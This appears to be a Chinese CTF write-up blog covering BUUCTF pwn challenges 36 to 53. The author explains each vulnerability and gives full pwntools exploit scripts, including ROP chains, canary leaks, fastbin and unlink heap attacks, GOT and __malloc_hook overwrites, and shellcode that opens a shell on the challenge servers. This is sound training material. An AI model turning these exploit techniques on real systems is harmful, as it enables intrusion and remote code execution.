1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import * p=remote("node3.buuoj.cn" ,29838 ) context.log_level='debug' elf=ELF('./1' ) int_80=0x0806EEF0 sh=0x080eafe1 bss=0x080eaf80 ppp_ret=0x0806e850 pop_eax=0x080bae06 payload='a' *32 +p32(pop_eax)+p32(0x3 )+p32(ppp_ret)+p32(8 )+p32(bss)+p32(0 )+p32(int_80) payload+=p32(pop_eax)+p32(0xB )+p32(ppp_ret)+p32(0 )+p32(0 )+p32(bss)+p32(int_80) p.sendlineafter("input :" ,payload) p.send('/bin/sh\x00' ) p.interactive()
第一个写法,是我转后写的样子,但是我的不行,出现下面的报错打不通。去百度了,但是由于博客园审核,没能查看到博文
这边似乎是execve的条件未达成,可是我与上面的exp差别只在于int 80的地址不同,我的是ROPgadget中找到的,而上面exp里面的int 80,是我在一个师傅的wp里面发现的,两者不一样
exp2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import * p=remote("node3.buuoj.cn" ,29838 ) context.log_level='debug' elf=ELF('./1' ) read=elf.sym['read' ] int_80=0x080493e1 sh=0x080c1a9d bss=0x080eaf80 ppp_ret=0x0806e850 pop_eax=0x080bae06 payload='a' *32 +p32(read)+p32(ppp_ret)+p32(0 )+p32(bss)+p32(8 ) payload+=p32(pop_eax)+p32(0xB )+p32(ppp_ret)+p32(0 )+p32(0 )+p32(bss)+p32(int_80) p.sendlineafter("input :" ,payload) p.send('/bin/sh\x00' ) p.interactive()
第二个方法其实本质原理与上一个一样,就是跳转read的构造方式不一样,这边直接使用地址跳转,而不是系统调用。注意这两个方法的int 80不一样,用第二的int 80调用两次就会出现上图的情况
exp3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * context.log_level ='debug' p=remote("node3.buuoj.cn" ,29838 ) elf=ELF('./1' ) bss=0x080eaf80 mprotect=elf.sym['mprotect' ] read=elf.sym['read' ] ppp_ret=0x0806e850 payload='a' *32 +p32(mprotect)+p32(ppp_ret)+p32(0x80ea000 )+p32(0x2000 )+p32(0x7 ) payload+=p32(read)+p32(ppp_ret)+p32(0 )+p32(bss)+p32(0x50 )+p32(bss) p.sendlineafter("input :" ,payload) p.send(asm(shellcraft.sh())) p.interactive()
第三个方法是使用mprotect把.bss修改为可执行,然后注入shellcode来getshell,有个点是修改的起始位置,得要最后三个为0才行,否则打不通,像是内存对齐的问题。
三十七、mrctf2020_shellcode
checksec一下,预测是注入shellcode,然后拖进IDA。
这题出没办法反汇编,百度上的wp也没办法,可能是直接call rax有点问题。不过好在汇编不复杂,很简单的程序逻辑,先输入0x400,然后做一个判断,其实这个判断无影响的,有输入的话,rax返回值就是大于0,跳转到右侧去执行,右侧是直接执行我们输入的数据,所以这边是直接ret2shellcode
exp:
1 2 3 4 5 6 7 8 from pwn import * p=remote("node3.buuoj.cn" ,27104 ) context(os='linux' ,arch='amd64' ,log_level='debug' ) shellcode=asm(shellcraft.sh()) p.sendlineafter("magic!" ,shellcode) p.interactive()
三十八、others_babystack 这题代码很简单,canary也很容易泄露,其他就是rop。所以不多说。
注意点就是,这里的退栈要执行功能3才能退出,我刚开始一直反应过来,后面才发现的。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import * p=remote("node3.buuoj.cn" ,27939 ) context.log_level='debug' elf=ELF('./1' ) main=0x400908 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] pop_rdi=0x400a93 payload='a' *0x88 p.sendlineafter(">> " ,'1' ) p.sendline(payload) p.sendlineafter(">> " ,'2' ) p.recvuntil("a" *0x88 ) canary=u64(p.recv(8 ))-0xa log.info("canary: " +hex (canary)) p.sendlineafter(">> " ,'1' ) payload='a' *0x88 +p64(canary)+'a' *0x8 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendline(payload) p.sendlineafter(">> " ,'3' ) puts=u64(p.recv(6 ).ljust(8 ,'\0' ))print hex (puts) libc=LibcSearcher('puts' ,puts) libc_base=puts-libc.dump('puts' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) payload='a' *0x88 +p64(canary)+'a' *0x8 +p64(pop_rdi)+p64(binsh)+p64(system) p.sendlineafter(">> " ,'1' ) p.sendline(payload) p.sendlineafter(">> " ,'3' ) p.interactive()
三十九、[ZJCTF 2019]EasyHeap
checksec一下, 然后进入ida。根据题目已经知道是个heap题目。
这边在编辑chunk上内容时候,输入的大小是再次由我们确定的,所以这里有着堆溢出漏洞,可以修改后一个chunk的fd指针,导致任意写的目的。
这边释放已经把指针置空了。
生成chunk就没什么好说的,然后这里是没有打印函数的,如果要输出就比较麻烦,要用IO结构体输出了。
这边其实有个后门函数的,可能是原题的有,但是这是buu,做到这大家应该都知道,flag就是直接在/根目录下的,所以不用去尝试就知道这里不行,但是给了system函数,got又可以改写,这边就使用修改got表的方法。具体脚本写,exp的注释十分详细了,步骤也不复杂,就不赘述了。
具体脚本编写,我在百度里面找到了一个师傅写的很详细,就直接搬过来了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import * p=remote("node3.buuoj.cn" ,26437 ) context.log_level='debug' p=process('./1' ) elf=ELF('./1' ) free_got=elf.got['free' ] system=0x400700 def debug (): gdb.attach(p) pause()def new (size ): p.sendlineafter("choice :" ,'1' ) p.sendlineafter("Heap : " ,str (size)) p.sendafter("heap:" ,p64(0 ))def edit (idx,content ): p.sendlineafter("choice :" ,'2' ) p.sendlineafter("Index :" ,str (idx)) p.sendlineafter("Heap : " ,str (len (content))) p.sendafter("heap : " ,content)def delete (idx ): p.sendlineafter("choice :" ,'3' ) p.sendlineafter("Index :" ,str (idx))print hex (free_got) new(0x68 ) new(0x68 ) new(0x68 ) delete(2 ) payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71 ) + p64(0x6020e0 -0x40 +0xd ) edit(1 ,payload) debug() new(0x68 ) new(0x68 ) payload=p8(0 )*3 +p64(0 )*4 +p64(free_got) edit(3 ,payload) edit(0 ,p64(system)) delete(1 ) p.interactive()
第二个我自己写的没能打通,看报错像是检验大小没过,可是我之前做过一道题,这样子也是可以创建堆块的,我是想把chunk直接创建在free的got.plt里面,直接改就好了,没必要像上面绕一圈子,没想过不行。
exp2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import * context.log_level='debug' p=process('./1' ) elf=ELF('./1' ) free_got=0x602018 system=0x400700 def debug (): gdb.attach(p) pause()def new (size ): p.sendlineafter("choice :" ,'1' ) p.sendlineafter("Heap : " ,str (size)) p.sendafter("heap:" ,p64(0 ))def edit (idx,content ): p.sendlineafter("choice :" ,'2' ) p.sendlineafter("Index :" ,str (idx)) p.sendlineafter("Heap : " ,str (len (content))) p.sendafter("heap : " ,content)def delete (idx ): p.sendlineafter("choice :" ,'3' ) p.sendlineafter("Index :" ,str (idx)) new(0x60 ) new(0x60 ) new(0x60 ) delete(2 ) payload='a' *0x60 +p64(0 )+p64(0x71 )+p64(free_got-0x20 +0xd ) edit(1 ,payload) debug() new(0x60 ) new(0x60 ) edit(3 ,p8(0 )*3 +p64(system)) edit(0 ,"/bin/sh\x00" ) delete(0 ) p.interactive()
四十、bjdctf_2020_babyrop2 checksec一下
开启了NX和Canary
进入ida看看代码
一个函数里面有着格式化字符串漏洞,允许我们输入六个长度的数据,用来泄露canary的,然后在后面的函数里面存在栈溢出,泄露libc的以及getshell的。
AAAAAA是我输进去的内容,他的位置在栈顶处,是格式化字符串的第六个参数,可以看见,在其下面的就是我们要的canary了,所以是第七个参数,从而确定构造为”%7$p”,之后就是正常的普通rop内容了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from LibcSearcher import * p=remote("node3.buuoj.cn" ,27477 ) context.log_level='debug' elf=ELF('./1' ) pop_rdi=0x400993 main=0x400887 printf_plt=elf.plt['printf' ] printf_got=elf.got['printf' ] read_plt=elf.plt['read' ] read_got=elf.got['read' ] payload='%7$p' p.sendlineafter("u!" ,payload) p.recvuntil("0x" ) canary=int (p.recv(16 ), 16 )print hex (canary) payload='a' *0x18 +p64(canary)+'deadbeef' +p64(pop_rdi)+p64(read_got)+p64(printf_plt)+p64(main) p.sendlineafter("story!" ,payload) p.recv() read=u64(p.recv(6 ).ljust(8 ,'\0' ))print hex (read) libc=LibcSearcher('read' ,read) libc_base=read-libc.dump('read' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) payload='a' *0x18 +p64(canary)+'deadbeef' +p64(pop_rdi)+p64(binsh)+p64(system) p.sendlineafter("story!" ,payload) p.interactive()
四十一、bjdctf_2020_router 常规checksec一下,看看保护
只开启了NX
进入ida看看代码
第一个功能很神奇的让我们输入一个长度为0x10的数据,然后用system调用?我跑去nc了一下
好吧,成功获得flag了。
四十二、picoctf_2018_shellcode checksec一下
保护都没开启,拖入ida分析一下。无法F5反汇编,只能看汇编代码了。
有个vuln函数,里面有调用gets和puts两个函数,可以进行输入。再看其他代码,底下有个call eax,可以进行执行代码,看下eax的内容来自哪里
这里传递给eax的地址与下面调用时一致,然后vuln函数里面gets输入的地址是ebp+8中存放的地址,其实就是eax里面的地址内容,所以整个程序总的说就是会执行我们输入进去的东西,加上nx未开,输入shellcode来getshell
1 2 3 4 5 6 from pwn import * p=remote("node3.buuoj.cn" ,28165 ) context(log_level='debug' ,arch='i386' ,os='linux' ) shellcode=asm(shellcraft.sh()) p.sendlineafter("string!" ,shellcode) p.interactive()
四十三、hitcontraining_uaf 常规checksec一下
image-20210727132448387
进入ida看看,其实题目已经有暗示,uaf,所以我们先去delete函数里面看看,
image-20210727132528641
确实存在着uaf,那么该怎么利用?再看看add函数和printf函数
image-20210727132617843
这边的add函数比较奇怪,首先是有次数限制只能申请五个堆块,其次是会申请两个堆块,第一个堆块是固定8字节大小,前4个字节存放一个print_note_content函数的地址,后4个字节是我们可以控制的,申请一个任意大小的堆块
image-20210727132832076
在print函数里面,最后会进行函数调用,就是调用先前在add函数里面保存的print_note_content函数进行打印我们可以控制的堆块里面的内容
image-20210727133015119
最后就是还存在一个后门函数
思路:一开始是觉得没有edit这类的函数,可能是要制造堆块重叠,把后门函数劫持到malloc_hook里面去,还以为5个会够,但是一个泄露libc基址,再一个申请fastchunk进行double free,然后还需要申请四次,超过次数了
image-20210727135534549
这是double free的fastbin上的情况,因为free也是两个,所以直接进行两次操作直接就可以构造出A-B-A
所以换一种方法:利用那个函数调用,想办法把进行调用的堆块变成是我们可以控制的那个堆块,把内容改成后门函数,那么就可以getshell了!
image-20210727140624461
像这样,我们可以控制的堆块申请一个比0x8大的堆块,那么我们就不会申请走,而固定申请大小为0x8的堆块就会申请走一个,此时我们,如果再申请0x8的堆块,就会进行更换了,我们申请到的就是之前程序的固定堆块,最后printf一下,就getshell了!
image-20210727141018340
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) elf = ELF("./hacknote" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/libc-2.23.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/ld-2.23.so" ) p=remote("node4.buuoj.cn" ,26333 )def debug (): gdb.attach(p,"b main" )def add (size,content ): p.sendlineafter('choice :' ,'1' ) p.sendlineafter('Note size :' ,str (size)) p.sendlineafter('Content :' ,content)def delete (idx ): p.sendlineafter('choice :' ,'2' ) p.sendlineafter('Index :' ,str (idx))def printf (idx ): p.sendlineafter('choice :' ,'3' ) p.sendlineafter('Index :' ,str (idx)) shell_addr=0x8048945 add(0x8 ,'a' ) delete(0 ) delete(0 ) add(0x10 ,'a' ) add(0x8 ,p32(shell_addr)) printf(0 ) p.interactive()
四十四、picoctf_2018_buffer image-20210728144721443
checksec的情况来看以及名字,应该是道栈题目,进入ida看看
image-20210728144750715
漏洞点应该是在这了,存在明显栈溢出
image-20210728145612076
程序本身还蕴含着一个函数,这个函数会读取flag里面的内容,只要通过判断即可打印出flag
image-20210728145716640
而这里的a1,a2就是该函数的参数。
image-20210728150414970
成功获取flag
1 2 3 4 5 6 7 from pwn import * p=remote("node4.buuoj.cn" ,28765 ) win_addr=0x080485CB payload='a' *0x70 +p32(win_addr)+p32(0 )+p32(0xDEADBEEF )+p32(0xDEADC0DE ) p.recvuntil("Please enter your string:" ) p.sendline(payload) p.interactive()
四十五、roarctf_2019_easy_pwn 常规checksec一下,保护全开,可能是道堆题了,进入ida看看程序
image-20210728151846042
漏洞点在于write函数里面
image-20210730125048904
这里会把我们之前申请堆块时输入的size与现在要写入的size进行比较,如果我们现在写入的size比原来的size大10,就可以多写一个,所以漏洞点是offbyone
泄露libc,因为calloc会清空堆块的数据,所以这边借着溢出,把is_mmap位改为1,就不会被清空数据,借此把libc泄露出来
image-20210730215233503
然后就利用offbyone修改堆块的size,制造overlop,修改被覆盖的堆块的fd指针,然后把堆块申请到malloc_hook上去
image-20210730233057769
image-20210730233446054
这边我已经成功写进去了,但是没有getshell,四种都没办法getshell,那接下来,就有很多处理方式了
转而去修改free_hook函数
利用realloc调整栈帧
house of orange(通杀2.23以及2.24)
这边我使用realloc调整栈帧,其他方法后续会更新的(我也不知道后续是多久~)
image-20210731002134507
这边可以看见,并不会为NULL,所以one_gadget条件没有达成,然后看看realloc,会压栈
image-20210731002037708
image-20210731002752890
发现,其实压栈导致的rsp-0x8,已经让one_gadget的条件达成了,所以就不用再去找了
image-20210731001850853
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF("./roarctf_2019_easy_pwn" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path}) libc = ELF("./libc-2.23.so" ) p=remote("node4.buuoj.cn" ,25420 )def debug (): gdb.attach(p,"b main" )def add (size ): p.sendlineafter("choice: " ,"1" ) p.recvuntil("size: " ) p.sendline(str (size)) def edit (idx,size,content ): p.sendlineafter("choice: " ,"2" ) p.recvuntil("index: " ) p.sendline(str (idx)) p.recvuntil("size: " ) p.sendline(str (size+10 )) p.recvuntil("content: " ) p.send(content)def show (idx ): p.sendlineafter("choice: " ,"4" ) p.recvuntil("index: " ) p.sendline(str (idx)) p.recvuntil("content: " )def free (idx ): p.sendlineafter("choice: " ,"3" ) p.recvuntil("index: " ) p.sendline(str (idx))''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' add(0x68 ) add(0x88 ) add(0x68 ) add(0x68 ) add(0x68 ) free(1 ) edit(0 ,0x68 ,'a' *0x68 +'\x93' ) add(0x88 ) show(1 ) libc_base=u64(p.recv(6 ).ljust(8 ,'\x00' ))-0x3c4b78 mlh=libc_base+libc.sym['__malloc_hook' ] rlh=libc_base+libc.sym['' ] realloc=libc_base+libc.sym['__libc_realloc' ] ogg=libc_base+0x4526a log.success("libc base==>0x%x" %libc_base) log.success("__malloc_hook==>0x%x" %mlh) log.success("realloc==>0x%x" %realloc) log.success("one_gadget==>0x%x" %ogg) edit(1 ,0x88 ,'a' *0x88 +'\xe1' ) free(3 ) free(2 ) add(0xd8 ) payload='a' *0x60 +p64(0 )+p64(0x71 )+p64(mlh-0x30 +0xd ) edit(2 ,len (payload)-10 ,payload) add(0x68 ) add(0x68 ) payload=p8(0 )*3 +p64(0 )+p64(ogg)+p64(realloc) edit(5 ,len (payload)-10 ,payload) add(0x10 ) p.interactive()
四十六wustctf2020_getshell_2 image-20210808202602382
先checksec一下,32位,开启保护只有nx
image-20210808203034653
image-20210808205220758
ida里面十分简单,漏洞点就这么一些东西,说明就是一个栈溢出,而溢出算上返回地址,只有八个字节,给的后门函数是无法使用的,那么如果按照原来的构造方法,字节数是不够的,因为加上返回地址,那明显是要十二个字节。然后这边的字符要去找sh,只有sh也是可以getshell的,除此之外,那如果要不需要返回地址,那就要去跳转到这边的程序里面已经有的call _system,就可以不需要返回地址,因为call指令会自动的将下一条指令压入栈中作为返回地址
image-20210808205011413
exp:
1 2 3 4 5 6 7 from pwn import * p = remote("node4.buuoj.cn" ,27986 ) sys = 0x8048529 sh = 0x08048670 payload = 'a' *0x1c + p32(sys) + p32(sh) p.send(payload) p.interactive()
四十七、qctf_2018_stack2 image-20210808210516960
checksec一下,32位,且有nx以及canary,那就要先去寻找怎么泄露canary了,不然是没法做的
image-20210808214029860
分析了一下程序的功能,不存在溢出点,输入函数也都是用的scanf,只有这个地方应该是有问题的,首先这个数组的是在栈上的,而数组下标我们是可以控制的,那就存在了数组越界问题了。并且给了一个后门函数,那就可以逐个字节的输入进去,覆盖返回地址,这样也就不需要去泄露canary了
然后就是数组的偏移,直接看ida的反汇编是错误的,为什么会错?
image-20210808222850151
image-20210808222112204
汇编代码可以解惑:由于这边的处理不同,导致ebp的下方并不是返回地址,而是还有一段距离,就要去调试获得了
image-20210808225803029
我选择在下标为1的位置输入调试,而这边[ebp+eax*1-0x70]就是输入的数最终会存放的地方,因为我输的是0,所以可以算出的ebp-0x70就是数组的起始地址,这样只要再去算一下返回地址到这的偏移即可
image-20210808230055266
算出偏移之后就是利用数组越界把后门函数地址写入到返回地址
image-20210808221957029
exp
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * p = remote("node4.buuoj.cn" ,25028 ) context.log_level = 'debug' p.recvuntil("have:" ) p.sendline('0' ) get_shell = [0x9b ,0x85 ,0x04 ,0x08 ]for i in range (4 ): p.sendlineafter("5. exit" ,'3' ) p.sendlineafter("change" ,str (0x84 +i)) p.sendlineafter("number:" ,str (get_shell[i])) p.sendlineafter("5. exit" ,'5' ) p.interactive()
四十八、[ZJCTF 2019]Login image-20210812160620361
先checksec一下,64位,开启了nx和canary,可能要泄露canary,进入ida分析一下
进入程序,是个用c++编写的程序,看起来有些费力
image-20210812162011685
首先找到了一个后门函数,那么就再去找找输入点,看看有没有溢出,以及找找有没有函数调用的地方。然后可以发现,输入点是不存在溢出到返回地址的,但是可以找到一个能进行函数调用的地方
image-20210812162329071
在整个程序的最后,进行密码验证,如果通过就会进行函数调用。那么,就去找找这个函数调用从哪里传入,是否可以修改?以及怎么通过检验
image-20210812165314541
首先通过验证,把这的账号密码输入进去即可
image-20210812165836228
image-20210812165850893
然后就是要进行覆盖,把v8覆盖为后门函数,v8又来自vuln,而vuln似乎不是我们可以控制的变量。但是去查汇编代码,可以知道最后的函数调用,表现是call rax,那是否可以去修改rax的数据呢?
image-20210812170456157
这里很有意思,在call rax前可以追溯到rax的值来自栈上一个数据,可以去看看能不能覆盖
image-20210812172747784
image-20210812172859005
这里传入的rax的值就是源头,而这里的值是栈上的,并且我们是可以覆盖的,就是在第二个输入点输入密码的地方
成功getshell
image-20210812164617984
exp:
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context.log_level = 'debug' p = remote("node4.buuoj.cn" ,29528 ) shell = 0x400E88 p.recvuntil("username:" ) p.sendline("admin" ) p.recvuntil("password:" ) payload = "2jctf_pa5sw0rd" .ljust(0x48 ,'\x00' ) + p64(shell) p.sendline(payload) p.interactive()
四十九mrctf2020_easyrop image-20210812175441484
checksec,64位,只开启nx
image-20210812180035772
首先程序存在后门,但是依照逻辑是不可能运行到后门的,所以需要劫持rip执行后门函数
image-20210812181120347
所有的输入点都是从var_310开始输入的,然而最大的输入长度也不过是0x300,不够覆盖到返回地址
image-20210812181040014
仔细分析程序,可以发现这边有个数组越界,这里的a1是var_310,所以可以先用别的函数输入数据,然后越界覆盖返回地址为后门函数
这边有个注意点:覆盖成功后退出程序时,程序还是会执行到数组越界的函数,所以这时候的输入只能是输入一个’\x00’,并且不能含有换行符,否则会接在前面输入的后门函数的地址上,导致地址无效了
在本地成功getshell,远程的docker可能出问题了,没有反应
image-20210812184240747
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * p = process("./mrctf2020_easyrop" ) context.log_level = 'debug' shell = 0x40072A p.sendline('2' ) payload = 'a' *0x2ff + '\x00' p.sendlineafter("hehehehehehehe\n" ,payload) p.sendline('3' ) payload = 'a' *0x19 + p64(shell) p.sendlineafter("bybybybybybyby\n" ,payload) p.sendline('7' ) p.send('\x00' ) p.interactive()
五十、xdctf2015_pwn200 image-20210812185855607
checksec一下,32位,开了nx
image-20210812192549644
程序很简单,这边有个很明显的栈溢出,并且程序含有泄露函数write,构造基础的rop就行了
image-20210812192512692
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from LibcSearcher import * p=remote("node4.buuoj.cn" ,25644 ) context.log_level='debug' elf=ELF('./bof' ) main=0x80484d6 write_plt=elf.plt['write' ] write_got=elf.got['write' ] p.recvline() payload='a' *0x70 +p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) p.sendline(payload) write=u32(p.recv(4 )) log.info("write addr:" +hex (write)) libc=LibcSearcher('write' ,write) libc_base=write-libc.dump('write' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) payload='a' *0x70 +p32(system)+p32(main)+p32(binsh) p.sendline(payload) p.interactive()
五十一、jarvisoj_level6_x64 image-20210812200521406
看附件名字,应该是道堆题,这道堆题没开PIE,RELRO没开全,这种题目一般是想办法修改got表,这样能稳定getshell
image-20210914200255661
首先,创建了一个大堆块,用来保存后面申请堆块的size,指针等信息
image-20210914200621734
在申请堆块功能里的这个语句代表分配堆块的大小是0x80的整数倍
image-20210914200526193
在edit功能中,如果你写入与之前申请不匹配的size,那么会调用realloc扩充堆块的size,似乎可以造成overlap
image-20210914200603042
free功能的话,堆结构里面的指针没有清零,存在UAF。但是前面的flag、size都清零了,所以只能double free
image-20210914202759594
有个注意点是在申请堆块中的输入堆块内容时,你输入多大的size,那你相应就要填入多大的字符,否则这边的read是不会停止的
思路:就先checksec看到的,去劫持got表,一般是free,然后再去释放一个内容为/bin/sh的堆块。这题堆块内容没有清空,并且申请堆块时输入的数据是可以不输入\x00的,所以不会截断,那就说明蕴含着很多脏数据都是可以泄露的!比如libc,比如堆地址,而如果有了堆地址,unlink,随之而来,然后PIE又没开,直接写got表地址,然后写入system地址即可!
image-20210914204249244
这边释放堆块要注意,得先申请四个,然后隔着释放,因为都是unsorted chunk,得要防止触发unlink合并
image-20210914211338216
释放完四个堆块后,有残余脏数据的堆结构,现在就要依据这个脏数据进行构造unlink
image-20210914212020955
很明显,申请出来的,只能在第三个堆地址上伪造出堆头,这样才能释放该伪造堆块,触发unlink
image-20210915103319358
unlink成功,把堆块指针的值变为了堆结构上的地址,之后直接对着堆结构修改即可
image-20210915110109421
getshell!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import * elf = ELF("./freenote_x64" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" ) libc = ELF("./libc-2.23.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path}) p = remote("node4.buuoj.cn" ,27343 )def debug (): gdb.attach(p,"b main" )def add (size,content ): p.sendlineafter("Your choice: " ,"2" ) p.recvuntil("Length of new note: " ) p.sendline(str (size)) p.recvuntil("Enter your note: " ) p.send(content) def edit (idx,size,content ): p.sendlineafter("Your choice: " ,"3" ) p.recvuntil("Note number: " ) p.sendline(str (idx)) p.recvuntil("Length of note: " ) p.sendline(str (size)) p.recvuntil("Enter your note: " ) p.send(content)def show (): p.sendlineafter("Your choice: " ,"1" )def free (idx ): p.sendlineafter("Your choice: " ,"4" ) p.recvuntil("Note number: " ) p.sendline(str (idx)) add(0x80 ,'a' *0x80 ) add(0x80 ,'b' *0x80 ) add(0x80 ,'c' *0x80 ) add(0x80 ,'d' *0x80 ) free(0 ) free(2 ) add(8 ,'a' *0x8 ) add(8 ,'b' *0x8 ) show() p.recvuntil("0. aaaaaaaa" ) heap_base = u64(p.recv(4 ).ljust(8 ,'\x00' )) - 6464 log.success("heap_base==>0x%x" %heap_base) p.recvuntil("2. bbbbbbbb" ) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' )) - 3951480 log.success("libc_base==>0x%x" %libc_base) system = libc_base + libc.sym['system' ] free(3 ) free(2 ) free(1 ) free(0 ) payload = p64(0 ) + p64(0x110 ) + p64(heap_base + 0x30 - 0x18 ) + p64(heap_base + 0x30 - 0x10 ) add(len (payload),payload) payload = 'a' *0x80 + p64(0x110 ) + p64(0x90 ) + 'a' *0x80 + p64(0 ) + p64(0x91 ) add(len (payload),payload) free(2 ) free = elf.got['free' ] payload = p64(0x2 ) + p64(0x1 ) + p64(0x8 ) + p64(free) edit(0 ,0x20 ,payload) edit(0 ,0x8 ,p64(system)) add(8 ,'/bin/sh\x00' ) p.sendlineafter("Your choice: " ,"4" ) p.recvuntil("Note number: " ) p.sendline(str (2 )) p.interactive()
五十二、inndy_rop 先checksec一下,32位,只开了nx
image-20210823202233200
进入ida,程序很简单,只有一个gets函数,明显溢出
然后程序东西很繁杂,这种就是属于静态编译的程序,程序里面包含着程序所需要的函数信息,但是找了一下,没有找到/bin/sh,以及system,那应该就是要构造gadgets了,去使用系统调用号函数获取shell
image-20210823195230792
百度了一下,ROPgadget内置了相关工具,可以直接针对这种题目有现成的exp
ROPgadget --binary rop --ropchain
image-20210823195052520
image-20210823201506833
这边其实还有种办法,就是使用mprotect函数修改.bss段的执行权限,然后写入shellcode,再执行来getshell
image-20210823201429425
程序里面是有mprotect函数的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *from struct import pack r=remote('node4.buuoj.cn' ,29804 ) p = 'a' *16 p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b8016 ) p += '/bin' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b8016 ) p += '//sh' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de769 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0806c943 ) r.sendline(p) r.interactive() r.close()
五十三、babyfengshui_33c3_2016 image-20210823202142271
checksec一下,32位,开了NX、Canary
image-20210823231658268
漏洞点在于修改堆块内容里面的检查机制有问题:只要把两个堆块分开,一个在头一个在尾,那就代表着能溢出覆盖两个堆块间的所有堆块。而且这很容易就能办到,只要连续申请几次堆块,把最开始申请的释放了,然后我们申请一个被释放大小的堆块,那这个堆块就出现在了头部,而另一个就是在尾部
image-20210827142300094
而打印函数,认真看,是printf函数,%s,那么这是会解析一个地址,然后把这个地址上的内容打印出来,所以我们通过溢出把free的got表地址写上去,那么解析完打印出来的就是free的真实地址,从而获得libc基址
image-20210827143043150
同样,这边修改description的函数,也是会把description的地址传入进去修改,那么只需要对着前面已经写入free的got表地址的堆块进行这个操作,就能把system函数写进去,从而劫持got表
